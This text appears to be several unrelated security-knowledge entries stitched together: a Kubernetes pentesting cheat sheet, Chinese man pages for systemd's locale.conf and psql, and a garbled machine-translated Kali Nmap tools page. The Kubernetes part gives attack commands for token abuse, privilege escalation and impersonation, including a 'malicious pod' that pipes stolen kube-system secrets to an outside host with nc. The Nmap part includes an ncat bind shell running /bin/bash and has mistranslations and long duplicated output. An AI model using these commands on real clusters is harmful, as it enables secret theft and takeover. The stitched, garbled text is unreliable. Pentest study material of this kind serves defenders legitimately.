Kubernetes supports a wide range of [security contexts](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) for container and pod execution. The most important of these is the "privileged" [security policy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) which makes the host node's devices available under the container's `/dev` directory. This means having access to the host's Docker socket file (allowing arbitrary container actions) in addition to the host's root disks (which can be used to escape the container entirely).
While there is no official way to check for privileged mode from *within* a container, checking if `/dev/kmsg` exists will usually suffice.
## RBAC Configuration
### Listing Secrets
An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace.
```powershell
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Access Any Resource or Verb
```powershell
resources:
- '*'
verbs:
- '*'
```
### Pod Creation
Check your right with `kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml`.
Then create a malicious pod.yaml file.
```yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
Then `kubectl apply -f malicious-pod.yaml`
### Privilege to Use Pods/Exec
```powershell
kubectl exec -it <POD NAME> -n <PODS NAMESPACE> –- sh
```
### Privilege to Get/Patch Rolebindings
The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account.
Create a malicious RoleBinging.json file.
```powershell
{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "RoleBinding",
"metadata": {
"name": "malicious-rolebinding",
"namespcaes": "default"
},
"roleRef": {
"apiGroup": "*",
"kind": "ClusterRole",
"name": "admin"
},
"subjects": [
{
"kind": "ServiceAccount",
"name": "sa-comp"
"namespace": "default"
}
]
}
```
```powershell
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d @malicious-RoleBinging.json
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
```
### Impersonating a Privileged Account
```powershell
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
## Privileged Service Account Token
```powershell
$ cat /run/secrets/kubernetes.io/serviceaccount/token
$ curl -k -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
```
## Interesting endpoints to reach
```powershell
# List Pods
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/pods/
# List secrets
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
# List deployments
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/deployments
# List daemonsets
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets
```
## API addresses that you should know
*(External network visibility)*
### cAdvisor
```powershell
curl -k https://<IP Address>:4194
```
### Insecure API server
```powershell
curl -k https://<IP Address>:8080
```
### Secure API Server
```powershell
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
### etcd API
```powershell
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### Kubelet API
```powershell
curl -k https://<IP address>:10250
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```
### kubelet (Read only)
```powershell
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
```
## References
- [Kubernetes Pentest Methodology Part 1 - by Or Ida on August 8, 2019](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
- [Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2)
- [Kubernetes Pentest Methodology Part 3 - by Or Ida on November 21, 2019](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3)
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
- [Kubernetes Pod Privilege Escalation](https://labs.bishopfox.com/tech-blog/bad-pods-kubernetes-pod-privilege-escalation)
|
sec-knowleage
|
'\" t
.TH "LOCALE\&.CONF" "5" "" "systemd 231" "locale.conf"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
locale.conf \- 本地化(locale)配置文件
.SH "SYNOPSIS"
.PP
/etc/locale\&.conf
.SH "描述"
.PP
/etc/locale\&.conf
文件用于 全系统范围的本地化(locale)设置。此文件会在系统启动的早期阶段被
\fBsystemd\fR(1)
读取。
.PP
locale\&.conf
文件的基本格式 是一系列换行符分隔的 VAR=VALUE 行(每行一个变量), 可以直接嵌入到 shell 脚本中使用。 注意,此文件并不支持变量替换之类的任何高级 shell 特性, 以便于应用程序无须支持这些高级 shell 特性 即可直接使用此文件。
.PP
注意,下列内核引导选项:
\fIlocale\&.LANG=\fR,
\fIlocale\&.LANGUAGE=\fR,
\fIlocale\&.LC_CTYPE=\fR,
\fIlocale\&.LC_NUMERIC=\fR,
\fIlocale\&.LC_TIME=\fR,
\fIlocale\&.LC_COLLATE=\fR,
\fIlocale\&.LC_MONETARY=\fR,
\fIlocale\&.LC_MESSAGES=\fR,
\fIlocale\&.LC_PAPER=\fR,
\fIlocale\&.LC_NAME=\fR,
\fIlocale\&.LC_ADDRESS=\fR,
\fIlocale\&.LC_TELEPHONE=\fR,
\fIlocale\&.LC_MEASUREMENT=\fR,
\fIlocale\&.LC_IDENTIFICATION=\fR
可用于覆盖此文件中的设置。
.PP
/etc/locale\&.conf
中的设置是全系统范围的默认设置, 会被每一个单元与用户继承, 除非之后又被某个进程或用户刻意修改。
.PP
在某些发行版上,如果该文件不存在, 可能还会到其他位置去寻找。 这取决于个别发行版自己的设置。
.PP
可以使用
\fBlocalectl\fR(1)
在运行时修改此文件的内容。 可以使用
\fBsystemd-firstboot\fR(1)
初始化已挂载(但未启动)的系统镜像的本地化(locale)设置。
.SH "选项"
.PP
可以在
/etc/locale\&.conf
中使用
\fILANG=\fR,
\fILANGUAGE=\fR,
\fILC_CTYPE=\fR,
\fILC_NUMERIC=\fR,
\fILC_TIME=\fR,
\fILC_COLLATE=\fR,
\fILC_MONETARY=\fR,
\fILC_MESSAGES=\fR,
\fILC_PAPER=\fR,
\fILC_NAME=\fR,
\fILC_ADDRESS=\fR,
\fILC_TELEPHONE=\fR,
\fILC_MEASUREMENT=\fR,
\fILC_IDENTIFICATION=\fR
本地化变量。注意,禁止在该文件中使用
\fILC_ALL\fR
变量。 有关这些变量的详细说明, 参见
\fBlocale\fR(7)
手册。
.SH "例子"
.PP
\fBExample\ \&1.\ \&完全支持中文环境,但是以英文作为用户界面\fR
.PP
/etc/locale\&.conf:
.sp
.if n \{\
.RS 4
.\}
.nf
LANG=zh_CN\&.utf8
LC_MESSAGES=en_US\&.utf8
.fi
.if n \{\
.RE
.\}
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBlocale\fR(7),
\fBlocalectl\fR(1),
\fBsystemd-localed.service\fR(8),
\fBsystemd-firstboot\fR(1)
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
|
sec-knowleage
|
# Nmap
## Nmap包描述
Nmap(“网络映射器”)是用于网络发现和安全审计的免费和开放源(许可证)实用程序。许多系统和网络管理员还发现它对于诸如网络库存,管理服务升级调度以及监视主机或服务正常运行时间等任务很有用。Nmap以新颖的方式使用原始IP数据包来确定网络上可用的主机,这些主机提供的服务(应用程序名称和版本),它们正在运行的操作系统(和操作系统版本),什么类型的数据包过滤器/防火墙正在使用,还有几十个其他特性。它旨在快速扫描大型网络,但对单个主机工作正常。Nmap在所有主要的计算机操作系统上运行,官方二进制包可用于Linux,Windows和Mac OS X。
Nmap被Linux Journal,Info World,LinuxQuestions.Org和Codetalker Digest评为“年度安全产品”。它甚至有十二部电影,包括矩阵重装,模具硬4,女孩与龙纹身和Bourne最后通atum。
## Nmap是...
- 灵活:支持数十种先进技术,用于映射填充有IP过滤器,防火墙,路由器和其他障碍的网络。这包括许多端口扫描机制(TCP和UDP),操作系统检测,版本检测,ping扫描等。请参阅文档页。
- 强大:Nmap已被用于扫描数十万台机器的庞大网络。
- 便携式:支持大多数操作系统,包括Linux,Microsoft Windows,FreeBSD,OpenBSD,Solaris,IRIX,Mac OS X,HP-UX,NetBSD,Sun OS,Amiga等。
- 简单:虽然Nmap为高级用户提供了一组丰富的高级功能,但您可以简单地从“nmap -v -A targethost”开始。传统的命令行和图形(GUI)版本都可以满足您的偏好。二进制文件可用于那些不希望从源代码编译Nmap的用户。
- 免费:Nmap项目的主要目标是帮助使互联网更安全一些,并为管理员/审计员/黑客提供探索其网络的高级工具。Nmap可以免费下载,并附带完整的源代码,您可以根据许可证条款修改和重新分发。
- 良好的文件:重大的努力已经投入全面和最新的手册页,白皮书,教程,甚至一整本书!在这里找到多种语言。
- 支持:虽然Nmap不提供保修,但它得到了开发人员和用户的充满活力的社区的良好支持。大多数此交互发生在Nmap邮件列表上。大多数错误报告和问题应该发送到nmap-dev列表,但只有在你阅读了指南。我们建议所有用户订阅低流量nmap-hackers公告列表。你也可以在Facebook和Twitter上找到Nmap。对于实时聊天,加入Freenode或EFNet上的#nmap频道。
- 备受赞誉:Nmap赢得了无数奖项,包括“Linux年报”,“信息世界”和“Codetalker Digest”的“年度信息安全产品”。它已被数以百计的杂志文章,几部电影,几十本书和一本漫画书系列。请访问新闻页了解更多详情。
- 热门:每天有成千上万的人下载Nmap,它包含在许多操作系统(Redhat Linux,Debian Linux,Gentoo,FreeBSD,OpenBSD等)中。它是Freshmeat.Net存储库中排名前十的(30,000个)程序之一。这是很重要的,因为它给Nmap带来了充满活力的开发和用户支持社区。
资料来源:http://nmap.org/
[Nmap Homepage](http://insecure.org/) | [Kali Nmap Repo](http://insecure.org/)
- 作者:Fyodor
- 许可证:GPLv2
## nmap软件包中包含的工具
### nping - 网络数据包生成工具/ ping实用程序
```
root @ kali:〜#nping -h
Nping 0.6.40(http://nmap.org/nping)
用法:nping [探测模式] [选项] {目标规格}
目标规范:
目标可以指定为主机名,IP地址,网络等。
例如:scanme.nmap.org,microsoft.com/24,192.168.0.1; 10.0。*。1-24
PROBE MODES:--
tcp-connect:Unprivileged TCP连接探测器模式。
--tcp:TCP探测模式。
--udp:UDP探测模式。
--icmp:ICMP探测模式。
--arp:ARP / RARP探测模式。
--tr,--traceroute:
Traceroute模式(只能与TCP / UDP / ICMP模式一起使用)。
TCP CONNECT MODE
:-p,--dest-port <port spec>:设置目标端口。
-g,--source-port <portnumber>:尝试使用自定义源端口。
TCP PROBE MODE:
-g,--source-port <portnumber>:设置源端口。
-p,--dest-port <port spec>:设置目标端口。
--seq <seqnumber>:设置序列号。
--flags <flag list>:设置TCP标志(ACK,PSH,RST,SYN,FIN ...)--
ack <acknumber>:设置ACK号。
--win <size>:设置窗口大小。
--badsum:使用随机无效校验和。
UDP PROBE MODE:
-g,--source-port <portnumber>:设置源端口。
-p,--dest-port <port spec>:设置目标端口。
--badsum:使用随机无效校验和。
ICMP PROBE MODE:
-- icmp -type <type>:ICMP类型。
--icmp-code <code>:ICMP代码。
--icmp-id <id>:设置标识符。
--icmp-seq <n>:设置序列号。
--icmp-redirect-addr <addr>:设置重定向地址。
--icmp-param-pointer <pnt>:设置参数问题指针。
--icmp-advertisement-lifetime <time>:设置路由器通告生命周期。
--icmp-advert-entry <IP,pref>:添加路由器广播条目。
--icmp-orig-time <timestamp>:设置始发时间戳。
--icmp-recv-time <timestamp>:设置接收时间戳。
--icmp-trans-time <timestamp>:设置发送时间戳。
ARP / RARP PROBE模式:--
arp-type <type>:类型:ARP,ARP应答,RARP,RARP应答。
--arp-sender-mac <mac>:配置发送方MAC地址。
--arp-sender-ip <addr>:设置发送方IP地址。
--arp-target-mac <mac>:设置目标MAC地址。
--arp-target-ip <addr>:设置目标IP地址。
IPv4选项:
-S,--source-ip:设置源IP地址。
--dest-ip <addr>:设置目标IP地址(用作
{目标规范}的替代)。
--tos <tos>:设置服务类型字段(8位)。
--id <id>:设置标识字段(16位)。
--df:设置不分段标志。
--mf:设置更多片段标志。
--ttl <hops>:设置生存时间[0-255]。
--badsum-ip:使用随机无效校验和。
--ip-options <S | R [route] | L [route] | T | U ...>:设置IP选项
--ip-options <hex string>:
设置IP选项--mtu <size>:设置MTU。如果MTU
足够小,则分组会碎片化。
IPv6选项:
-6,--IPv6:使用IP版本6.
--dest-ip:设置目标IP地址(用作
{目标规范}的替代)。
--hop-limit:设置跳数限制(与IPv4 TTL相同)。
--traffic-class <class>::设置流量类。
--flow <label>:设置流标签。
以太网选项:--
dest-mac <mac>:设置目标MAC地址。
(禁用ARP解析)
--source-mac <mac>:设置源MAC地址。
--ether类型<type>:设置EtherType值。
PAYLOAD选项:--
data <hex string>:包含自定义有效内容。
--data-string <text>:包含自定义ASCII文本。
--data-length <len>:包含随机字节作为有效载荷。
ECHO CLIENT / SERVER:--
echo-client <passphrase>:在客户端模式下运行Nping。
--echo-server <passphrase>:在服务器模式下运行Nping。
--echo-port <port>:使用自定义<port>来监听或连接。
--no-crypto:禁用加密和身份验证。
--once:一次连接后停止服务器。
--safe-payloads:清除回应报文中的应用数据。
时间和性能:
<time>的选项以秒为单位,或者将值附加“ms”(毫秒),
“s”(秒),“m”(分钟)或“h” ,0.25h)。
--delay <time>:调整探测器之间的延迟。
--rate <rate>:每秒发送num个数据包。
MISC:
-h,--help:显示帮助信息。
-V,--version:显示当前版本号。
-c,--count <n> :在<n>轮后停止。
-e,--interface <name>:使用提供的网络接口。
-H,--hide-sent:不显示发送的数据包。
-N,--no-capture:不要尝试捕获回复。
--privileged:假设用户具有完全特权。
--unprivileged:假设用户缺少原始套接字权限。
--send-eth:在原始以太网层发送数据包。
--send-ip:使用原始IP套接字发送报文。
--bpf-filter <filter spec>:指定自定义BPF过滤器。
OUTPUT:
-v:将详细程度级别递增1。
-v [level]:设置详细程度级别。例如:-v4
-d:将调试级别递增1。
-d [level]:设置调试级。例如:-d3
-q:将详细程度级别降低一级。
-q [N]:降低冗长级别N次
--quiet:将详细程度和调试级别设置为最小。
--debug:将verbosity和debug设置为最大级别。
示例:
nping scanme.nmap.org
nping --tcp -p 80 --flags rst --ttl 2 192.168.1.1
nping --icmp --icmp-type time --delay 500ms 192.168.254.254
nping --echo-server“public”
```
### ndiff - 用于比较Nmap扫描结果的实用程序
```
root @ kali:〜#ndiff -h
用法:/ usr / bin / ndiff [option] FILE1 FILE2
比较两个Nmap XML文件并显示它们的差异列表。
差异包括主机状态更改,端口状态更改以及
服务和操作系统检测更改。
-h,--help显示此帮助
-v,--verbose还显示未更改的主机和端口。
- 文本格式的文本显示输出(默认)
- XML格式的xml显示输出
```
### ncat - 连接和重定向套接字
```
root @ kali:〜#ncat -h
Ncat 6.40(http://nmap.org/ncat)
用法:ncat [options] [hostname] [port]
选项占用时间假定为秒。追加“ms”为毫秒,
“s”为秒,“m”为分钟,或“h”为小时(例如500ms)。
-4仅使用IPv4
-6 仅使用IPv6
-un,--unixsock 仅使用Unix域套接字
-C,--crlf对EOL序列使用CRLF
-c,-- sh -exec <command>通过/ bin执行给定命令/ sh
-e,
--exec <command>执行给定的命令--lua-exec <filename>执行给定的Lua脚本
-g hop1 [,hop2,... - listen绑定和侦听传入连接-k,-- keep -open在侦听模式下接受多个连接 -n,--nodns不通过DNS解析主机名 -t,--telnet回答Telnet协商 -u,--udp使用UDP而不是默认TCP --sctp使用SCTP而不是默认TCP -v,--verbose设置详细程度级别(可以使用多次) -w,--wait <time>连接超时 --append-output追加而不是clobber指定输出文件 --send-only只发送数据,忽略接收; 退出EOF - 仅限recv只接收数据,
```
### nmap - 网络映射器
```
root @ kali:〜#nmap -h
Nmap 6.40(http://nmap.org)
用法:nmap [扫描类型] [选项] {目标规格}
目标规格:
可以传递主机名,IP地址,网络等。
例如:scanme.nmap.org,microsoft.com/24,192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>:从主机/网络列表输入-iR <numhost>:
选择随机目标
--exclude <host1 [,host2] [,host3],...>:Exclude主机/网络
--excludefile <exclude_file>:从文件中排除列表
HOST DISCOVERY:
-sL:列表扫描 - 只列出要扫描的目标
-sn:Ping扫描 - 禁用端口扫描
-Pn:将所有主机视为联机 - 跳过主机发现
-PS / PA / PU / PY [portlist]:TCP SYN / ACK, IP协议扫描-b <FTP中继主机>:FTP反弹扫描 端口规范和扫描顺序 :-p <端口范围>:仅扫描指定的端口 例如:-p22; p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9 -F:快速模式 - 扫描比默认扫描更少的端口 -r:连续扫描端口 - 不随机化 --top-ports < >:扫描<number>最常见的端口 --port-ratio <ratio>:扫描端口比<ratio>更常见 SERVICE / VERSION检测: -sV:探测开放端口以确定服务/版本信息 - >:设置从0(光)到9(尝试所有探头)-- version-light: 限制最可能的探测(强度2)-- version-all:尝试每个探测器(强度9)-- version-trace:显示详细版本扫描活动(用于调试) SCRIPT SCAN: -sC:等价于--script =默认 --script = <Lua scripts>:<Lua scripts>是逗号分隔的 目录,脚本文件或脚本类别 列表--script-args = <n1 = v1,[n2 = v2,...] :为脚本提供 参数--script-args-file = filename:在文件中提供NSE脚本参数 --script-trace:显示发送和接收的所有数据 --script-updatedb:更新脚本数据库。 --script-help = <Lua scripts>:显示关于脚本的帮助。 <Lua scripts> 是一个逗号分隔的脚本文件或脚本类别的列表。 操作系统检测: -O:启用操作系统检测 --osscan-limit:将操作系统检测限制为有希望的目标 --osscan-guess:更积极地猜测OS 时间和性能: 采用<time>的选项以秒为单位或追加'ms' (毫秒), “s”(秒),“m”(分钟)或“h”(小时) -T <0-5>:设置定时模板(越高越快)-- min-hostgroup / max-hostgroup <size>:并行主机扫描组大小 --min-parallelism / max-parallelism <numprobes>:探测并行化 - -min-rtt-timeout / max-rtt-timeout / initial-rtt-timeout <time>: 指定探测往返时间。 --max-retries <尝试>:端口扫描探测重传的数目。 --host-timeout <time>:在这个长时间后放弃目标。 -scan-delay / - max-scan-delay <time>:调整探测之间的延迟 --min- rate <number>比每秒<number>每秒 --max-rate <number>:发送数据包不快于<number>每秒 FIREWALL / IDS EVASION AND SPOOFING: -f; --mtu <val>:片段包(可选地,w /给定的MTU) -D <decoy1,decoy2 [,ME],...>: Clook a scan with decoys -S <IP_Address>:Spoof source address -e <iface >:使用指定的接口 -g / - source-port <portnum>: 使用给定的端口号--data-length <num>:将随机数据附加到发送的数据包 --ip-options <options>:发送具有指定ip选项的数据包 --ttl <val>:设置IP生存时间字段 - -spoof-mac <MAC地址/前缀/供应商名称>:欺骗您的MAC地址 --badsum:发送带有伪造TCP / UDP / SCTP校验和的数据包 OUTPUT: -oN / -oX / -oS / -oG <file>分别以正常,XML,s | <rIpt kIddi3 和Grepable格式输出扫描到给定文件名。 -oA <basename>:一次输出三种主要格式 -v:提高详细程度(使用-vv或更高效果) -d:提高调试级别(使用-dd或更高效果)-- reason: 脚本扫描和traceroute --datadir <dirname>:指定自定义Nmap数据文件位置 --send-eth / - send-ip:使用原始以太网帧或IP数据包发送 --privileged:假设用户是完全特权 - -unprivileged:假定用户缺少原始套接字权限 -V:打印版本号 -h:打印此帮助摘要页。 示例: nmap -v -A scanme.nmap.org nmap -v -sn 192.168.0.0/16 10.0.0.0/8 nmap -v -iR 10000 -Pn -p 80 查看用户手册(http://nmap.org /book/man.html)更多选项和示例 使用原始以太网帧或IP数据包发送--privileged:假设用户是完全特权 - - 特权:假设用户缺少原始套接字权限-V:打印版本号-h:打印此帮助摘要页。示例:nmap -v -A scanme.nmap.org nmap -v -sn 192.168.0.0/16 10.0.0.0/8 nmap -v -iR 10000 -Pn -p 80 查看用户手册(http://nmap.org /book/man.html)更多选项和示例 使用原始以太网帧或IP数据包发送--privileged:假设用户是完全特权 - - 特权:假设用户缺少原始套接字权限-V:打印版本号-h:打印此帮助摘要页。示例:nmap -v -A scanme.nmap.org nmap -v -sn 192.168.0.0/16 10.0.0.0/8 nmap -v -iR 10000 -Pn -p 80 查看用户手册(http://nmap.org /book/man.html)更多选项和示例
```
### nmap用法示例
扫描详细模式(-v),启用操作系统检测,版本检测,脚本扫描和traceroute (-A),针对目标IP (192.168.1.1)进行版本检测(-sV ):
```
root @ kali:〜#nmap -v -A -sV 192.168.1.1
启动Nmap 6.45(http://nmap.org)在2014-05-13 18:40 MDT
NSE:加载118脚本扫描。
NSE:脚本预扫描。
在18:40启动ARP Ping扫描
扫描192.168.1.1 [1端口]
在18:40完成ARP Ping扫描,已过去
0.06秒(1个主机)启动1个主机的并行DNS解析。at 18:40
完成1个主机的并行DNS解析。at 18:
40,0.00s elapsed 启动SYN隐藏扫描在18:40
扫描router.localdomain(192.168.1.1)[1000端口]
发现的开放端口53 / tcp在192.168.1.1
发现的开放端口22 / tcp在192.168.1.1
发现在192.168.1.1上打开端口80 / tcp在192.168.1.1上
发现打开的端口3001 / tcp
```
### nping用法示例
使用TCP模式(-TCP)来探测端口22 (-p 22)使用SYN标志(-flags SYN)为2的TTL (–ttl 2) 在远程主机上(192.168.1.1) :
```
60125 SA ttl = 64 id = 0 iplen = 44 seq = 3409166569 win = 5840 <mss 1460> SENT(3.0707s)TCP 192.168.1.15:60125> 192.168.1.1:22 S ttl = 2 id = 54240 iplen = 40 seq = 1720523417 win = 1480 RCVD(3.0710s)TCP 192.168.1.1:22> 192.168.1.15:60125 SA ttl = 64 id = 0 iplen = 44 seq = 3424813300 win = 5840 <mss 1460> SENT(4.0721s)TCP 192.168.1.15 :60125> 192.168.1.1:22 S ttl = 2 id = 54240 iplen = 40 seq = 1720523417 win = 1480 RCVD(4.0724s)TCP 192.168.1.1:22> 192.168.1.15:60125 SA ttl = 64 id = 0 iplen = 44 seq = 3440460772 win = 5840 <mss 1460> Max rtt:0.337ms | 最小rtt:0.282ms | 平均rtt:0.296ms 发送的原始分组:5(200B)| Rcvd:5(230B)| 丢失:0(0.00%) Nping完成:1 IP地址在4.13秒内ping通 SENT(3.0707s)TCP 192.168.1.15:60125> 192.168.1.1:22 S ttl = 2 id = 54240 iplen = 40 seq = 1720523417 win = 1480 RCVD(3.0710s)TCP 192.168.1.1:22> 192.168.1.15:60125 SA ttl = 64 id = 0 iplen = 44 seq = 3424813300 win = 5840 <mss 1460> SENT(4.0721s)TCP 192.168.1.15:60125> 192.168.1.1:22 S ttl = 2 id = 54240 iplen = 40 seq = 1720523417 win = 1480 RCVD(4.0724s)TCP 192.168.1.1:22> 192.168.1.15:60125 SA ttl = 64 id = 0 iplen = 44 seq = 3440460772 win = 5840 <mss 1460> Max rtt:0.337ms | 最小rtt:0.282ms | 平均rtt:0.296ms 发送的原始分组:5(200B)| Rcvd:5(230B)| 丢失:0(0.00%)Nping完成:1 IP地址在4.13秒内ping通 SENT(3.0707s)TCP 192.168.1.15:60125> 192.168.1.1:22 S ttl = 2 id = 54240 iplen = 40 seq = 1720523417 win = 1480 RCVD(3.0710s)TCP 192.168.1.1:22> 192.168.1.15:60125 SA ttl = 64 id = 0 iplen = 44 seq = 3424813300 win = 5840 <mss 1460> SENT(4.0721s)TCP 192.168.1.15:60125> 192.168.1.1:22 S ttl = 2 id = 54240 iplen = 40 seq = 1720523417 win = 1480 RCVD(4.0724s)TCP 192.168.1.1:22> 192.168.1.15:60125 SA ttl = 64 id = 0 iplen = 44 seq = 3440460772 win = 5840 <mss 1460> Max rtt:0.337ms | 最小rtt:0.282ms | 平均rtt:0.296ms 发送的原始分组:5(200B)| Rcvd:5(230B)| 丢失:0(0.00%)Nping完成:1 IP地址在4.13秒内ping通 168.1.1:22> 192.168.1.15:60125 SA ttl = 64 id = 0 iplen = 44 seq = 3424813300 win = 5840 <mss 1460> SENT(4.0721s)TCP 192.168.1.15:60125> 192.168.1.1:22 S ttl = 2 id = 54240 iplen = 40 seq = 1720523417 win = 1480 RCVD(4.0724s)TCP 192.168.1.1:22> 192.168.1.15:60125 SA ttl = 64 id = 0 iplen = 44 seq = 3440460772 win = 5840 <mss 1460 > Max rtt:0.337ms | 最小rtt:0.282ms | 平均rtt:0.296ms 发送的原始分组:5(200B)| Rcvd:5(230B)| 丢失:0(0.00%)Nping完成:1 IP地址在4.13秒内ping通 168.1.1:22> 192.168.1.15:60125 SA ttl = 64 id = 0 iplen = 44 seq = 3424813300 win = 5840 <mss 1460> SENT(4.0721s)TCP 192.168.1.15:60125> 192.168.1.1:22 S ttl = 2 id = 54240 iplen = 40 seq = 1720523417 win = 1480 RCVD(4.0724s)TCP 192.168.1.1:22> 192.168.1.15:60125 SA ttl = 64 id = 0 iplen = 44 seq = 3440460772 win = 5840 <mss 1460 > Max rtt:0.337ms | 最小rtt:0.282ms | 平均rtt:0.296ms 发送的原始分组:5(200B)| Rcvd:5(230B)| 丢失:0(0.00%)Nping完成:1 IP地址在4.13秒内ping通 60125 SA ttl = 64 id = 0 iplen = 44 seq = 3440460772 win = 5840 <mss 1460> Max rtt:0.337ms | 最小rtt:0.282ms | 平均rtt:0.296ms 发送的原始分组:5(200B)| Rcvd:5(230B)| 丢失:0(0.00%)Nping完成:1 IP地址在4.13秒内ping通 60125 SA ttl = 64 id = 0 iplen = 44 seq = 3440460772 win = 5840 <mss 1460> Max rtt:0.337ms | 最小rtt:0.282ms | 平均rtt:0.296ms 发送的原始分组:5(200B)| Rcvd:5(230B)| 丢失:0(0.00%)Nping完成:1 IP地址在4.13秒内ping通
```
### ndiff用法示例
比较昨天的端口扫描(yesterday.xml)与从今天(today.xml)的扫描:
```
root @ kali:〜#ndiff yesterday.xml today.xml
-Nmap 6.45 scan started Tue May 13 18:46:43 2014 as:nmap -v -F -oX yesterday.xml 192.168.1.1
+ Nmap 6.45 scan initiated Tue May 13 18:47:58 2014 as:nmap -v -F -oX today.xml 192.168.1.1
endian.localdomain(192.168.1.1,00:01:6C:6F:DD:D1):
未显示:96个过滤端口
+未显示:97过滤的端口
PORT STATE服务版本
-22 / tcp打开ssh
```
### ncat用法示例
要详细(-v) ,运行/ bin /在连接庆典(-exec“/斌/ bash中”) ,只允许1个IP地址(-ALLOW 192.168.1.123) ,听TCP端口4444上(-l 4444) ,和保持侦听器断开连接(-keep-open):
```
root @ kali:〜#ncat -v --exec“/ bin / bash”--allow 192.168.1.123 -l 4444 --keep-open
Ncat:Version 6.45(http://nmap.org/ncat)
Ncat:Listening on ::: 4444
Ncat:正在侦听
0.0.0.0:4444 Ncat:从192.168.1.123连接。
Ncat:连接从192.168.1.123:39501。
Ncat:从192.168.1.15连接。
Ncat:连接从192.168.1.15:60393。
Ncat:新连接被拒绝:不允许
```
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.2 $
.TH "PSQL" "1" "2003-11-02" "Application" "PostgreSQL Client Applications"
.SH NAME
psql \- PostgreSQL 交互终端
.SH SYNOPSIS
.sp
\fBpsql\fR\fR [\fR\fB\fIoption\fB\fR...\fB\fR\fR]\fR\fR [\fR\fB\fIdbname\fB\fR [\fB\fIusername\fB\fR]\fB\fR\fR]\fR
.SH "DESCRIPTION 描述"
.PP
\fBpsql\fR 是一个以终端为基础的 PostgreSQL 前端。它允许你交互地键入查询,把它们发出给 PostgreSQL, 然后看看查询的结果。另外,输入可以来自一个文件。还有, 它提供了一些元命令和多种类 shell 地特性来实现书写脚本以及对大量任务的自动化。
.SH "OPTIONS 选项"
.TP
\fB-a\fR
.TP
\fB--echo-all\fR
在读取行时向屏幕打印所有内容。 这个选项在脚本处理时比交互模式时更有用。这个选项等效于设置变量 ECHO 为 all。
.TP
\fB-A\fR
.TP
\fB--no-align\fR
切换为非对齐输出模式。(缺省输出模式是对齐的。)
.TP
\fB-c\fIcommand\fB\fR
.TP
\fB--command\fIcommand\fB\fR
声明 psql 将执行一条查询字串, command,然后退出。这一点在 shell 脚本里很有用。
\fIcommand\fR 必须是一条完全可以被服务器分析的查询字串(也就是说,它不包含
psql特有的特性), 或者是一个反斜杠命令。这样你就不会混合 SQL 和 psql
元命令。要想混合使用,你可以把字串定向到\fBpsql\fR 里,象这样:
echo "\\x\\ select * from foo;" | psql。
